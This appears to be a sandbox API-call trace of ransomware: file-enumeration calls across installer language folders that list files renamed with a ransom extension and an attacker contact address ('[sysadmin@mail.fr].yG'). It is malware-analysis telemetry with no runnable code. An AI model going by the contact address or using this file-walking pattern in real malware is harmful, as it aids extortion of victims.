	[0133.188] FindNextFileW (in: hFindFile=0x5dda00, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9863f075, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x9863f075, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x988edb1e, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x1994, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="EULART~1.YG")) returned 1
	[0133.189] FindNextFileW (in: hFindFile=0x5dda00, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9863f075, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x9863f075, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x9868b479, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0xee96, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="LOCALI~1.YG")) returned 1
	[0133.189] FindNextFileW (in: hFindFile=0x5dda00, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9849b7fc, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x9849b7fc, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98533f5d, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 1
	[0133.189] FindNextFileW (in: hFindFile=0x5dda00, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9849b7fc, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x9849b7fc, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98533f5d, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 0
	[0133.189] FindClose (in: hFindFile=0x5dda00 | out: hFindFile=0x5dda00) returned 1
	[0133.190] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x38c0e18 | out: hHeap=0x4f0000) returned 1
	[0133.190] FindNextFileW (in: hFindFile=0x508de0, lpFindFileData=0x2fbfa7c | out: lpFindFileData=0x2fbfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1029", cAlternateFileName="")) returned 1
	[0133.190] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x38c0e18
	[0133.190] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1029\\*", lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd700
	[0133.265] FindNextFileW (in: hFindFile=0x5dd700, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0133.265] FindNextFileW (in: hFindFile=0x5dd700, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x989d29cb, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x989d29cb, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98a91503, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0xf74, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="EULART~1.YG")) returned 1
	[0133.266] FindNextFileW (in: hFindFile=0x5dd700, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x98add7f2, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x98add7f2, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98f0a5b3, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x13d46, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="LOCALI~1.YG")) returned 1
	[0133.266] FindNextFileW (in: hFindFile=0x5dd700, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x984c1825, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x984c1825, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x9855a239, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 1
	[0133.266] FindNextFileW (in: hFindFile=0x5dd700, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x984c1825, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x984c1825, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x9855a239, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 0
	[0133.266] FindClose (in: hFindFile=0x5dd700 | out: hFindFile=0x5dd700) returned 1
	[0133.267] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x38c0e18 | out: hHeap=0x4f0000) returned 1
	[0133.267] FindNextFileW (in: hFindFile=0x508de0, lpFindFileData=0x2fbfa7c | out: lpFindFileData=0x2fbfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1030", cAlternateFileName="")) returned 1
	[0133.267] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x38c0e18
	[0133.267] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1030\\*", lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd580
	[0133.272] FindNextFileW (in: hFindFile=0x5dd580, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0133.272] FindNextFileW (in: hFindFile=0x5dd580, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x98913e73, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x98913e73, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98960125, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0xde4, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="EULART~1.YG")) returned 1
	[0133.273] FindNextFileW (in: hFindFile=0x5dd580, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x98913e73, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x98913e73, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x989863cb, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x130b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="LOCALI~1.YG")) returned 1
	[0133.274] FindNextFileW (in: hFindFile=0x5dd580, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x984e7ab4, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x984e7ab4, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x985a669b, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 1
	[0133.275] FindNextFileW (in: hFindFile=0x5dd580, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x984e7ab4, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x984e7ab4, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x985a669b, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 0
	[0133.275] FindClose (in: hFindFile=0x5dd580 | out: hFindFile=0x5dd580) returned 1
	[0133.278] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x38c0e18 | out: hHeap=0x4f0000) returned 1
	[0133.278] FindNextFileW (in: hFindFile=0x508de0, lpFindFileData=0x2fbfa7c | out: lpFindFileData=0x2fbfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1031", cAlternateFileName="")) returned 1
	[0133.278] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x38c0e18
	[0133.278] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1031\\*", lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd200
	[0133.283] FindNextFileW (in: hFindFile=0x5dd200, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0133.283] FindNextFileW (in: hFindFile=0x5dd200, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x989863cb, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x989863cb, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x989d29cb, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0xe44, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="EULART~1.YG")) returned 1
	[0133.283] FindNextFileW (in: hFindFile=0x5dd200, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x98d3ff57, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x98d3ff57, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98ee37f3, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x142a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="LOCALI~1.YG")) returned 1
	[0133.284] FindNextFileW (in: hFindFile=0x5dd200, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9855a239, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x9855a239, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98618e61, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 1
	[0133.284] FindNextFileW (in: hFindFile=0x5dd200, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9855a239, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x9855a239, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98618e61, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 0
	[0133.284] FindClose (in: hFindFile=0x5dd200 | out: hFindFile=0x5dd200) returned 1
	[0133.285] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x38c0e18 | out: hHeap=0x4f0000) returned 1
	[0133.285] FindNextFileW (in: hFindFile=0x508de0, lpFindFileData=0x2fbfa7c | out: lpFindFileData=0x2fbfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1032", cAlternateFileName="")) returned 1
	[0133.285] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x38c0e18
	[0133.285] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1032\\*", lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd540
	[0133.288] FindNextFileW (in: hFindFile=0x5dd540, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0133.288] FindNextFileW (in: hFindFile=0x5dd540, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x989d29cb, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x989d29cb, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98c0ebaa, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x2394, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="EULART~1.YG")) returned 1
	[0133.289] FindNextFileW (in: hFindFile=0x5dd540, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x98a91503, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x98a91503, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98b29e07, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x15206, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="LOCALI~1.YG")) returned 1
	[0133.289] FindNextFileW (in: hFindFile=0x5dd540, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9858055f, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x9858055f, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x985a669b, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x4c58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 1
	[0133.290] FindNextFileW (in: hFindFile=0x5dd540, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9858055f, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x9858055f, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x985a669b, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x4c58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 0
	[0133.290] FindClose (in: hFindFile=0x5dd540 | out: hFindFile=0x5dd540) returned 1
	[0133.291] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x38c0e18 | out: hHeap=0x4f0000) returned 1
	[0133.291] FindNextFileW (in: hFindFile=0x508de0, lpFindFileData=0x2fbfa7c | out: lpFindFileData=0x2fbfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1033", cAlternateFileName="")) returned 1
	[0133.291] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x38c0e18
	[0133.291] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1033\\*", lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd680
	[0133.294] FindNextFileW (in: hFindFile=0x5dd680, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0133.294] FindNextFileW (in: hFindFile=0x5dd680, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x98cf3930, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x98cf3930, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98ee37f3, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0xd64, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="EULART~1.YG")) returned 1
	[0133.294] FindNextFileW (in: hFindFile=0x5dd680, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x98ee37f3, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x98ee37f3, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98fa2446, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x12eb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="LOCALI~1.YG")) returned 1
	[0133.294] FindNextFileW (in: hFindFile=0x5dd680, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x985a669b, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x985a669b, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x985f2b26, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x4458, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 1
	[0133.295] FindNextFileW (in: hFindFile=0x5dd680, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x985a669b, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x985a669b, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x985f2b26, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x4458, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 0
	[0133.295] FindClose (in: hFindFile=0x5dd680 | out: hFindFile=0x5dd680) returned 1
	[0133.296] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x38c0e18 | out: hHeap=0x4f0000) returned 1
	[0133.296] FindNextFileW (in: hFindFile=0x508de0, lpFindFileData=0x2fbfa7c | out: lpFindFileData=0x2fbfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1035", cAlternateFileName="")) returned 1
	[0133.297] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x38c0e18
	[0133.298] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1035\\*", lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd580
